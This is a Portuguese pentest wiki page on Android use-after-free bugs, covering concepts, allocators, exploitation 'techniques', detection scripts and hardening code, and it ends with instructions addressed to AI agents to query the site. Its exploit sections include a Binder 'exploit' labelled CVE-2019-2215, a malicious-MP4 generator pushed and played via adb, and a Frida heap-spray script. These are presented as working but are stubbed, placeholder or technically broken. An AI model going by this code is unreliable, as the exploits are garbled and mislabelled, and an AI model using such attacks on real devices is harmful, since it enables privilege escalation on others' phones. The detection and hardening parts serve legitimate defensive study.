# Use After Free

## **📋 Índice**

1. [Fundamentos do Use After Free](#-fundamentos-do-use-after-free)
2. [Gerenciamento de Memória no Android](#-gerenciamento-de-memória-no-android)
3. [Mecanismos de Ataque](#-mecanismos-de-ataque)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Vetores de Ataque](#-vetores-de-ataque)
6. [Ferramentas de Exploração](#-ferramentas-de-exploração)
7. [Impacto e Consequências](#-impacto-e-consequências)
8. [Detecção e Monitoramento](#-detecção-e-monitoramento)
9. [Mitigações e Hardening](#-mitigações-e-hardening)
10. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Use After Free**

### **O que é Use After Free?**

**Use After Free (UAF)** é uma vulnerabilidade de corrupção de memória que ocorre quando um programa continua a usar um ponteiro após a memória apontada ter sido liberada (freed). Isso pode levar a crashes, corrupção de dados ou, em casos mais graves, execução de código arbitrário.

### **Princípio de Funcionamento**

```mermaid
graph TD
    subgraph "Operação Normal"
        A[Alocar memória] --> B[Usar ponteiro]
        B --> C[Liberar memória]
        C --> D[Ponteiro não usado mais]
    end
    
    subgraph "Use After Free"
        E[Alocar memória] --> F[Usar ponteiro]
        F --> G[Liberar memória]
        G --> H[Continuar usando ponteiro]
        H --> I[Comportamento indefinido]
    end
    
    subgraph "Exploração"
        G --> J[Realloc da memória]
        J --> K[Ponteiro aponta para novo conteúdo]
        K --> L[Execução de código]
    end
    
    style G fill:#ffcc99
    style H fill:#ff9999
    style L fill:#ff3333
```

### **Ciclo de Vida da Memória**

```c
// memory_lifecycle.c - Ciclo de vida da memória

#include <stdlib.h>
#include <stdio.h>

// 1. Alocação correta
void correct_allocation() {
    char *buffer = (char *)malloc(100);
    if (buffer != NULL) {
        // Usar buffer
        strcpy(buffer, "data");
        // Liberar quando não for mais usado
        free(buffer);
        // Não usar mais buffer
        buffer = NULL;
    }
}

// 2. Use After Free vulnerável
void vulnerable_uaf() {
    char *buffer = (char *)malloc(100);
    if (buffer != NULL) {
        strcpy(buffer, "data");
        free(buffer);
        // 🔴 Acesso após liberar - Use After Free!
        printf("Buffer content: %s\n", buffer);
    }
}

// 3. Exemplo mais complexo
struct object {
    void (*func)(void);
    char data[64];
};

void vulnerable_uaf_struct() {
    struct object *obj = (struct object *)malloc(sizeof(struct object));
    if (obj != NULL) {
        obj->func = legitimate_function;
        strcpy(obj->data, "important");
        
        free(obj);
        
        // 🔴 Uso após liberação
        obj->func();  // Pode executar código arbitrário se memória foi reutilizada
    }
}
```

***

## 🏗️ **Gerenciamento de Memória no Android**

### **Alocadores de Memória**

```python
#!/usr/bin/env python3
# memory_allocators.py - Alocadores de memória no Android

class MemoryAllocators:
    """Análise de alocadores de memória no Android"""
    
    @staticmethod
    def allocator_types():
        """Tipos de alocadores"""
        print("📋 Alocadores de Memória no Android")
        print("=" * 60)
        
        allocators = {
            "dlmalloc (legado)": {
                "uso": "Android < 4.4",
                "caracteristicas": [
                    "Alocação em chunks",
                    "Binários para diferentes tamanhos",
                    "Vulnerável a heap feng shui"
                ]
            },
            "jemalloc": {
                "uso": "Android 4.4 - 5.x",
                "caracteristicas": [
                    "Alocação por arena",
                    "Melhor performance multi-thread",
                    "Metadados separados"
                ]
            },
            "scudo": {
                "uso": "Android 10+",
                "caracteristicas": [
                    "Hardened allocator",
                    "Randomização de chunks",
                    "Detecção de UAF (quarantine)"
                ]
            },
            "gwp-asan": {
                "uso": "Android 11+",
                "caracteristicas": [
                    "Sampling allocator",
                    "Detecção de UAF e buffer overflow",
                    "Baixo overhead"
                ]
            }
        }
        
        for allocator, info in allocators.items():
            print(f"\n📁 {allocator}")
            print(f"   Uso: {info['uso']}")
            print("   Características:")
            for char in info['caracteristicas']:
                print(f"      • {char}")
    
    @staticmethod
    def heap_metadata():
        """Metadados do heap"""
        print("\n🔍 Metadados do Heap")
        print("=" * 60)
        
        print("""
Estrutura de um chunk alocado (jemalloc):
  +------------------+
  | chunk size       | <- Tamanho do chunk
  +------------------+
  | previous size    | <- Tamanho do chunk anterior (para coalescing)
  +------------------+
  | flags            | <- Flags de status
  +------------------+
  | user data        | <- Dados do usuário
  | ...              |
  +------------------+

Quando liberado (free), metadados são modificados:
  +------------------+
  | prev size        |
  +------------------+
  | next pointer     | <- Ponteiro para próximo chunk livre (fd)
  +------------------+
  | prev pointer     | <- Ponteiro para chunk anterior (bk)
  +------------------+
""")

# Executar
MemoryAllocators.allocator_types()
MemoryAllocators.heap_metadata()
```

### **Proteções de Memória**

```yaml
Proteções de Memória no Android:

  🔒 ASLR (Address Space Layout Randomization):
    - Randomização de endereços base
    - Dificulta previsão de endereços

  🔒 PIE (Position Independent Executable):
    - Código independente de posição
    - Permite ASLR total

  🔒 Shadow Call Stack:
    - Pilha de chamadas separada
    - Protege contra ROP

  🔒 Control Flow Integrity (CFI):
    - Verifica fluxo de controle
    - Impede redirecionamento de jumps

  🔒 Scudo Hardened Allocator:
    - Quarantine de chunks freed
    - Randomização de alocações
    - Detecção de UAF

  🔒 GWP-ASan:
    - Sampling de alocações
    - Detecção de uso após liberação
    - Buffer overflow detection
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo de Ataque**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant P as Processo Vulnerável
    participant M as Gerenciador de Memória

    Note over A,P: 1. Trigger da vulnerabilidade
    A->>P: Causa free() de objeto
    P->>M: Libera memória
    
    Note over A,M: 2. Heap Spray
    A->>M: Aloca objetos controlados
    M-->>A: Memória reutilizada
    
    Note over A,P: 3. Uso após liberação
    A->>P: Trigger do uso
    P->>M: Acessa ponteiro antigo
    M-->>P: Dados controlados pelo atacante
    
    Note over A,P: 4. Exploração
    P->>P: Executa código controlado
    P-->>A: Privilégios elevados
```

### **Vetores de Ataque**

```yaml
Vetores Comuns:

  🔴 Binder UAF:
    - Use after free em transações Binder
    - Corrupção de objetos do kernel
    - Escalação de privilégios

  🔴 Mediaserver UAF:
    - Codecs vulneráveis
    - Processamento de mídia
    - Stagefright exploits

  🔴 GPU Driver UAF:
    - Drivers gráficos
    - Processamento de comandos
    - Acesso a memória física

  🔴 File System UAF:
    - FUSE (Filesystem in Userspace)
    - Operações de arquivo
    - Race conditions

  🔴 WiFi Driver UAF:
    - Processamento de pacotes
    - Firmware vulnerabilities
    - Escalação de privilégios
```

***

## 🔧 **Técnicas de Exploração**

### **Técnica 1: Heap Spray**

```python
#!/usr/bin/env python3
# heap_spray.py - Heap spray para exploração de UAF

import subprocess
import sys

class HeapSpray:
    """Técnicas de heap spray para exploração de UAF"""
    
    @staticmethod
    def create_spray_data(size=1024, pattern="A"):
        """Criar dados para heap spray"""
        return pattern * size
    
    @staticmethod
    def create_rop_chain():
        """Criar ROP chain para ARM64"""
        # Gadgets comuns (endereços são exemplos)
        rop_chain = [
            0x0000000000001234,  # pop x0 ; ret
            0x0000000000000000,  # x0 = 0
            0x0000000000005678,  # pop x1 ; ret
            0x0000000000000000,  # x1 = 0
            0x0000000000009abc,  # pop x2 ; ret
            0x0000000000000000,  # x2 = 0
            0x000000000000def0,  # pop x3 ; ret
            0x0000000000000000,  # x3 = 0
            0x0000000000001112,  # mov x0, x1 ; ret
            0x0000000000001314,  # svc 0
        ]
        
        return rop_chain
    
    @staticmethod
    def spray_binder_transaction():
        """Spray via transações Binder"""
        print("[*] Executando heap spray via Binder")
        
        # Criar múltiplas transações Binder
        for i in range(100):
            # Transação com dados controlados
            # Em um exploit real, enviaria via Binder
            pass
        
        print("   Heap spray concluído")
    
    @staticmethod
    def spray_ashmem():
        """Spray via ashmem (shared memory)"""
        print("[*] Executando heap spray via ashmem")
        
        # Criar múltiplos region ashmem
        for i in range(100):
            # ashmem_create_region
            # Em um exploit real, criaria regiões com dados controlados
            pass
        
        print("   Ashmem spray concluído")
    
    @staticmethod
    def spray_ioctl():
        """Spray via ioctl"""
        print("[*] Executando heap spray via ioctl")
        
        # Chamadas ioctl com buffers grandes
        for i in range(100):
            # ioctl(fd, cmd, buf)
            # Em um exploit real, enviaria comandos ioctl
            pass
        
        print("   Ioctl spray concluído")

# Uso
if __name__ == "__main__":
    print("💀 Heap Spray Techniques")
    print("=" * 60)
    
    HeapSpray.spray_binder_transaction()
    HeapSpray.spray_ashmem()
    HeapSpray.spray_ioctl()
```

### **Técnica 2: Exploração de Binder UAF**

```c
// binder_uaf_exploit.c - Exploração de UAF no Binder

#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/binder.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#define BINDER_THREAD_EXIT 0x40046208
#define BINDER_WRITE_READ 0x40046210

// Estrutura para transação Binder
struct binder_transaction_data {
    union {
        __u32 handle;
        void *ptr;
    } target;
    void *cookie;
    __u32 code;
    __u32 flags;
    pid_t sender_pid;
    uid_t sender_euid;
    size_t data_size;
    size_t offsets_size;
    union {
        struct {
            const void *buffer;
            const void *offsets;
        } ptr;
        __u8 buf[8];
    } data;
};

// Estrutura para comando Binder
struct binder_write_read {
    void *write_buffer;
    void *read_buffer;
    size_t write_size;
    size_t read_size;
    size_t write_consumed;
    size_t read_consumed;
};

// Exploit para CVE-2019-2215 (UAF no binder)
int binder_uaf_exploit() {
    int fd = open("/dev/binder", O_RDWR);
    if (fd < 0) {
        perror("open");
        return -1;
    }
    
    // 1. Criar estrutura que será freed
    struct binder_transaction_data *txn = malloc(sizeof(struct binder_transaction_data));
    memset(txn, 0, sizeof(*txn));
    
    // 2. Configurar dados
    txn->data_size = 0x1000;
    txn->data.ptr.buffer = malloc(0x1000);
    
    // 3. Trigger free
    struct binder_write_read bwr;
    memset(&bwr, 0, sizeof(bwr));
    bwr.write_size = 0;
    
    // 4. Free via BINDER_THREAD_EXIT
    ioctl(fd, BINDER_THREAD_EXIT, 0);
    
    // 5. Realloc com dados controlados (heap spray)
    // Em um exploit real, faria spray aqui
    
    // 6. Trigger use after free
    bwr.write_buffer = txn;
    bwr.write_size = sizeof(*txn);
    ioctl(fd, BINDER_WRITE_READ, &bwr);
    
    close(fd);
    return 0;
}

int main() {
    printf("[*] Triggering binder UAF exploit\n");
    binder_uaf_exploit();
    printf("[+] Exploit completed\n");
    return 0;
}
```

### **Técnica 3: Frida Script para Detecção de UAF**

```javascript
// frida_uaf_detection.js - Detecção de Use After Free

var malloc_count = 0;
var free_count = 0;
var allocations = {};

function log_alloc(ptr, size) {
    var id = malloc_count++;
    allocations[ptr] = {
        id: id,
        size: size,
        stack: Thread.backtrace(this.context, Backtracer.ACCURATE)
            .map(DebugSymbol.fromAddress).join('\n')
    };
    console.log(`[ALLOC] #${id} ptr=${ptr} size=${size}`);
}

function log_free(ptr) {
    free_count++;
    if (allocations[ptr]) {
        console.log(`[FREE] #${allocations[ptr].id} ptr=${ptr} (allocated at ${allocations[ptr].stack})`);
        delete allocations[ptr];
    } else {
        console.log(`[FREE] Unknown ptr=${ptr} - Possible double free!`);
    }
}

function log_use(ptr, operation) {
    if (allocations[ptr]) {
        console.log(`[USE] #${allocations[ptr].id} ${operation} ptr=${ptr}`);
    } else {
        console.log(`[USE AFTER FREE] ${operation} ptr=${ptr} - Use after free detected!`);
        console.log(Thread.backtrace(this.context, Backtracer.ACCURATE)
            .map(DebugSymbol.fromAddress).join('\n'));
    }
}

// Hook malloc
var malloc = Module.findExportByName(null, "malloc");
Interceptor.attach(malloc, {
    onEnter: function(args) {
        this.size = args[0].toInt32();
    },
    onLeave: function(retval) {
        if (!retval.isNull()) {
            log_alloc(retval, this.size);
        }
    }
});

// Hook free
var free = Module.findExportByName(null, "free");
Interceptor.attach(free, {
    onEnter: function(args) {
        var ptr = args[0];
        if (!ptr.isNull()) {
            log_free(ptr);
        }
    }
});

// Hook memcpy (uso comum de ponteiros)
var memcpy = Module.findExportByName(null, "memcpy");
Interceptor.attach(memcpy, {
    onEnter: function(args) {
        var dest = args[0];
        var src = args[1];
        var size = args[2].toInt32();
        
        log_use(dest, "memcpy(dest)");
        log_use(src, "memcpy(src)");
    }
});

// Hook específico para Binder
var binder_ioctl = Module.findExportByName(null, "ioctl");
Interceptor.attach(binder_ioctl, {
    onEnter: function(args) {
        var fd = args[0].toInt32();
        var cmd = args[1].toInt32();
        var arg = args[2];
        
        // BINDER_WRITE_READ
        if (cmd === 0x40046210) {
            console.log("[BINDER] WRITE_READ ioctl");
            log_use(arg, "binder transaction buffer");
        }
    }
});

console.log("[*] UAF detection hooks installed");
console.log(`malloc: ${malloc}, free: ${free}`);
```

### **Técnica 4: Exploração de Mediaserver UAF**

```python
#!/usr/bin/env python3
# mediaserver_uaf.py - Exploração de UAF em mediaserver

import subprocess
import struct
import sys

class MediaserverUAF:
    """Exploração de Use After Free em mediaserver"""
    
    @staticmethod
    def create_malicious_file(filename="malicious.mp4"):
        """Criar arquivo MP4 malicioso para trigger UAF"""
        print(f"[*] Criando arquivo MP4 malicioso: {filename}")
        
        # CVE-2015-6638 - Stagefright UAF
        # Estrutura que causa free de objeto e reuso
        
        mp4_data = bytearray()
        
        # ftyp box
        mp4_data.extend(b"ftyp")
        mp4_data.extend(struct.pack(">I", 0))
        mp4_data.extend(b"isom")
        mp4_data.extend(b"isom")
        
        # moov box
        mp4_data.extend(b"moov")
        moov_size_pos = len(mp4_data)
        mp4_data.extend(struct.pack(">I", 0))
        
        # trak box com dados para causar UAF
        mp4_data.extend(b"trak")
        mp4_data.extend(struct.pack(">I", 0))
        
        # tkhd box
        mp4_data.extend(b"tkhd")
        mp4_data.extend(struct.pack(">I", 92))
        mp4_data.extend(b"\x00\x00\x00\x07")
        mp4_data.extend(b"\x00" * 32)
        
        # mdia box
        mp4_data.extend(b"mdia")
        mp4_data.extend(struct.pack(">I", 0))
        
        # hdlr box
        mp4_data.extend(b"hdlr")
        mp4_data.extend(struct.pack(">I", 33))
        mp4_data.extend(b"\x00\x00\x00\x00")
        mp4_data.extend(b"vide")
        
        # minf box
        mp4_data.extend(b"minf")
        mp4_data.extend(struct.pack(">I", 0))
        
        # stbl box (causa o UAF)
        mp4_data.extend(b"stbl")
        mp4_data.extend(struct.pack(">I", 0))
        
        # stsd box
        mp4_data.extend(b"stsd")
        mp4_data.extend(struct.pack(">I", 0))
        
        # Atualizar tamanhos
        mp4_data[moov_size_pos:moov_size_pos+4] = struct.pack(">I", len(mp4_data) - moov_size_pos - 4)
        
        with open(filename, 'wb') as f:
            f.write(mp4_data)
        
        print(f"   Arquivo criado: {filename}")
        return filename
    
    @staticmethod
    def trigger_uaf(filename):
        """Trigger UAF via MediaPlayer"""
        print(f"\n[*] Triggering UAF via {filename}")
        
        # Enviar arquivo para dispositivo
        push_cmd = ['adb', 'push', filename, '/sdcard/malicious.mp4']
        subprocess.run(push_cmd, capture_output=True)
        
        # Tentar reproduzir
        play_cmd = ['adb', 'shell', 'am', 'start', '-a', 'android.intent.action.VIEW',
                    '-d', 'file:///sdcard/malicious.mp4', '-t', 'video/mp4']
        subprocess.run(play_cmd, capture_output=True)
        
        print("   Arquivo reproduzido")
    
    @staticmethod
    def check_crash():
        """Verificar se ocorreu crash"""
        print("\n[*] Verificando crash")
        
        cmd = ['adb', 'logcat', '-d', '-s', 'libc', 'DEBUG']
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        crash_indicators = [
            'Fatal signal',
            'segmentation fault',
            'use after free',
            'heap corruption'
        ]
        
        for indicator in crash_indicators:
            if indicator in result.stdout:
                print(f"   ⚠️ Crash detectado: {indicator}")
                return True
        
        print("   Nenhum crash detectado")
        return False

# Uso
if __name__ == "__main__":
    print("💀 Mediaserver UAF Exploit")
    print("=" * 60)
    
    filename = MediaserverUAF.create_malicious_file()
    MediaserverUAF.trigger_uaf(filename)
    MediaserverUAF.check_crash()
```

### **Técnica 5: Binder UAF com Frida**

```javascript
// frida_binder_uaf.js - Exploração de Binder UAF

Java.perform(function() {
    console.log("[*] Binder UAF Exploit");
    
    // 1. Hook do binder ioctl
    var ioctl = Module.findExportByName(null, "ioctl");
    
    Interceptor.attach(ioctl, {
        onEnter: function(args) {
            var fd = args[0].toInt32();
            var cmd = args[1].toInt32();
            var arg = args[2];
            
            // BINDER_WRITE_READ = 0x40046210
            if (cmd === 0x40046210) {
                console.log("[BINDER] WRITE_READ ioctl detected");
                
                // Ler buffer de transação
                var bwr = arg.readByteArray(32);
                if (bwr) {
                    console.log(hexdump(bwr, {offset: 0, length: 32, header: true, ansi: true}));
                    
                    // Extrair ponteiro de transação
                    var transaction_ptr = arg.add(0).readPointer();
                    if (!transaction_ptr.isNull()) {
                        console.log("Transaction pointer: " + transaction_ptr);
                        
                        // Tentar detectar UAF
                        try {
                            var data = transaction_ptr.readByteArray(64);
                            console.log(hexdump(data, {offset: 0, length: 64, header: true, ansi: true}));
                        } catch(e) {
                            console.log("[!] Use After Free detected! Invalid transaction pointer");
                        }
                    }
                }
            }
        }
    });
    
    // 2. Hook binder_free
    var binder_free = Module.findExportByName(null, "binder_free");
    if (binder_free) {
        Interceptor.attach(binder_free, {
            onEnter: function(args) {
                var ptr = args[0];
                console.log("[BINDER_FREE] Freeing: " + ptr);
                this.ptr = ptr;
            },
            onLeave: function(retval) {
                console.log("[BINDER_FREE] Freed: " + this.ptr);
            }
        });
    }
    
    // 3. Heap spray
    function heap_spray() {
        console.log("[*] Executing heap spray");
        
        var Transaction = Java.use("android.os.Binder");
        var transactions = [];
        
        for (var i = 0; i < 1000; i++) {
            var t = Transaction.$new();
            transactions.push(t);
        }
        
        console.log("[+] Heap spray completed: " + transactions.length + " objects");
    }
    
    // 4. Trigger UAF
    function trigger_uaf() {
        console.log("[*] Triggering UAF");
        
        // Criar transação Binder
        var Parcel = Java.use("android.os.Parcel");
        var data = Parcel.obtain();
        var reply = Parcel.obtain();
        
        // Escrever dados
        data.writeString("malicious_data");
        data.writeInt(0x41414141);
        
        // Enviar transação
        var binder = Java.use("android.os.IBinder").$new();
        try {
            binder.transact(0, data, reply, 0);
        } catch(e) {
            console.log("[!] Exception: " + e);
        }
    }
    
    // Executar
    setTimeout(heap_spray, 1000);
    setTimeout(trigger_uaf, 2000);
});
```

***

## 🔍 **Detecção e Monitoramento**

### **Script de Detecção de UAF**

```python
#!/usr/bin/env python3
# detect_uaf.py - Detector de Use After Free

import subprocess
import re
import sys

class UAFDetector:
    """Detector de vulnerabilidades Use After Free"""
    
    @staticmethod
    def check_address_sanitizer():
        """Verificar se AddressSanitizer está ativo"""
        print("[*] Verificando AddressSanitizer")
        
        cmd = ['adb', 'shell', 'getprop', 'debug.asan.enabled']
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        if '1' in result.stdout:
            print("   ✅ AddressSanitizer ativo")
            return True
        else:
            print("   ❌ AddressSanitizer não ativo")
            return False
    
    @staticmethod
    def check_gwp_asan():
        """Verificar GWP-ASan"""
        print("\n[*] Verificando GWP-ASan")
        
        cmd = ['adb', 'shell', 'getprop', 'persist.gwp_asan.enabled']
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        if 'true' in result.stdout:
            print("   ✅ GWP-ASan ativo")
            return True
        else:
            print("   ❌ GWP-ASan não ativo")
            return False
    
    @staticmethod
    def check_mte():
        """Verificar Memory Tagging Extension (MTE)"""
        print("\n[*] Verificando MTE")
        
        cmd = ['adb', 'shell', 'getprop', 'ro.arm64.memtag.bootctl']
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        if 'memtag' in result.stdout:
            print("   ✅ MTE ativo")
            return True
        else:
            print("   ❌ MTE não ativo")
            return False
    
    @staticmethod
    def analyze_tombstones():
        """Analisar tombstone files para UAF"""
        print("\n[*] Analisando tombstone files")
        
        # Pull tombstones
        subprocess.run(['adb', 'pull', '/data/tombstones/', './tombstones/'], capture_output=True)
        
        import os
        uaf_indicators = [
            'use after free',
            'invalid pointer',
            'heap-use-after-free',
            'wild pointer',
            'double free'
        ]
        
        if os.path.exists('./tombstones'):
            for filename in os.listdir('./tombstones'):
                with open(f'./tombstones/{filename}', 'r') as f:
                    content = f.read()
                    for indicator in uaf_indicators:
                        if indicator in content.lower():
                            print(f"   ⚠️ UAF detectado em {filename}: {indicator}")
                            return True
        
        print("   Nenhum UAF detectado")
        return False
    
    @staticmethod
    def monitor_uaf(duration=30):
        """Monitorar UAF em tempo real"""
        print(f"\n[*] Monitorando UAF por {duration}s")
        
        cmd = ['adb', 'logcat', '-s', 'libc', 'DEBUG', 'Asan']
        
        import time
        start_time = time.time()
        
        try:
            process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
            
            while time.time() - start_time < duration:
                line = process.stdout.readline()
                if line:
                    if 'use after free' in line.lower() or 'heap-use-after-free' in line.lower():
                        print(f"   ⚠️ UAF detectado: {line.strip()}")
            
            process.terminate()
            
        except Exception as e:
            print(f"   Erro: {e}")

# Uso
if __name__ == "__main__":
    print("🔍 Use After Free Detection")
    print("=" * 60)
    
    UAFDetector.check_address_sanitizer()
    UAFDetector.check_gwp_asan()
    UAFDetector.check_mte()
    UAFDetector.analyze_tombstones()
    UAFDetector.monitor_uaf(10)
```

***

## 🛡️ **Mitigações e Hardening**

### **Proteções do Android**

```yaml
Proteções Existentes:

  ✅ Scudo Hardened Allocator:
    - Quarantine (chunks freed ficam isolados)
    - Randomização de alocações
    - Detecta uso após liberação

  ✅ GWP-ASan:
    - Sampling de alocações
    - Detecção de UAF em produção
    - Baixo overhead

  ✅ HWASan (Hardware-assisted ASan):
    - Uso de tags de memória (MTE)
    - Detecção em hardware
    - Baixo overhead

  ✅ CFI (Control Flow Integrity):
    - Protege contra ROP
    - Verifica indireção de chamadas

  ✅ Shadow Call Stack:
    - Pilha de chamadas separada
    - Protege contra ret2addr

  ✅ PAC (Pointer Authentication):
    - Assinatura de ponteiros
    - Detecta corrupção
```

### **Hardening de Aplicações**

```c
// hardening_uaf.c - Hardening contra UAF

#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

// 1. Sempre NULL após free
#define SAFE_FREE(ptr) do { \
    free(ptr); \
    (ptr) = NULL; \
} while(0)

// 2. Uso de canário para detectar corrupção
struct secure_object {
    uint32_t canary;
    void (*func)(void);
    char data[64];
    uint32_t footer_canary;
};

#define CANARY_VALUE 0xDEADBEEF

struct secure_object* secure_alloc() {
    struct secure_object *obj = malloc(sizeof(struct secure_object));
    if (obj) {
        obj->canary = CANARY_VALUE;
        obj->footer_canary = CANARY_VALUE;
    }
    return obj;
}

int secure_use(struct secure_object *obj) {
    if (!obj || obj->canary != CANARY_VALUE || obj->footer_canary != CANARY_VALUE) {
        return -1;  // Corrupção detectada
    }
    
    // Usar objeto
    if (obj->func) {
        obj->func();
    }
    
    return 0;
}

void secure_free(struct secure_object **obj) {
    if (obj && *obj) {
        // Limpar dados sensíveis antes de free
        memset(*obj, 0, sizeof(struct secure_object));
        free(*obj);
        *obj = NULL;
    }
}

// 3. Uso de quarantine
#define QUARANTINE_SIZE 100
static void *quarantine[QUARANTINE_SIZE];
static int quarantine_idx = 0;

void quarantine_free(void *ptr) {
    if (quarantine_idx < QUARANTINE_SIZE) {
        quarantine[quarantine_idx++] = ptr;
    } else {
        // Liberar o mais antigo
        free(quarantine[0]);
        for (int i = 1; i < QUARANTINE_SIZE; i++) {
            quarantine[i-1] = quarantine[i];
        }
        quarantine[QUARANTINE_SIZE-1] = ptr;
    }
}

// 4. Compilação com proteções
// gcc -fsanitize=address -fno-omit-frame-pointer
// gcc -fsanitize=undefined -fsanitize=null
// gcc -fstack-protector-strong -D_FORTIFY_SOURCE=2
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Desenvolvedores**

* [ ] Sempre NULL após free
* [ ] Usar sanitizers em testes (ASAN, UBSAN)
* [ ] Evitar patterns que levam a UAF
* [ ] Usar smart pointers (C++)
* [ ] Validar ponteiros antes de usar
* [ ] Implementar quarantine para freed objects

### **Checklist para Pentesters**

* [ ] Identificar funções que liberam memória
* [ ] Verificar uso de ponteiros após free
* [ ] Testar heap spray
* [ ] Analisar tombstones
* [ ] Monitorar logs para UAF
* [ ] Testar com AddressSanitizer

***

## 📊 **Conclusão**

```yaml
Use After Free no Android:

  🔴 Principais Vetores:
    - Binder UAF
    - Mediaserver UAF
    - GPU driver UAF
    - File system UAF

  🛡️ Mitigações Essenciais:
    - Scudo allocator
    - GWP-ASan
    - HWASan/MTE
    - CFI
    - Safe coding practices

  🎯 Prioridade:
    - CRÍTICA: Kernel UAF
    - ALTA: System service UAF
    - MÉDIA: App-level UAF
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/android/use-after-free.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
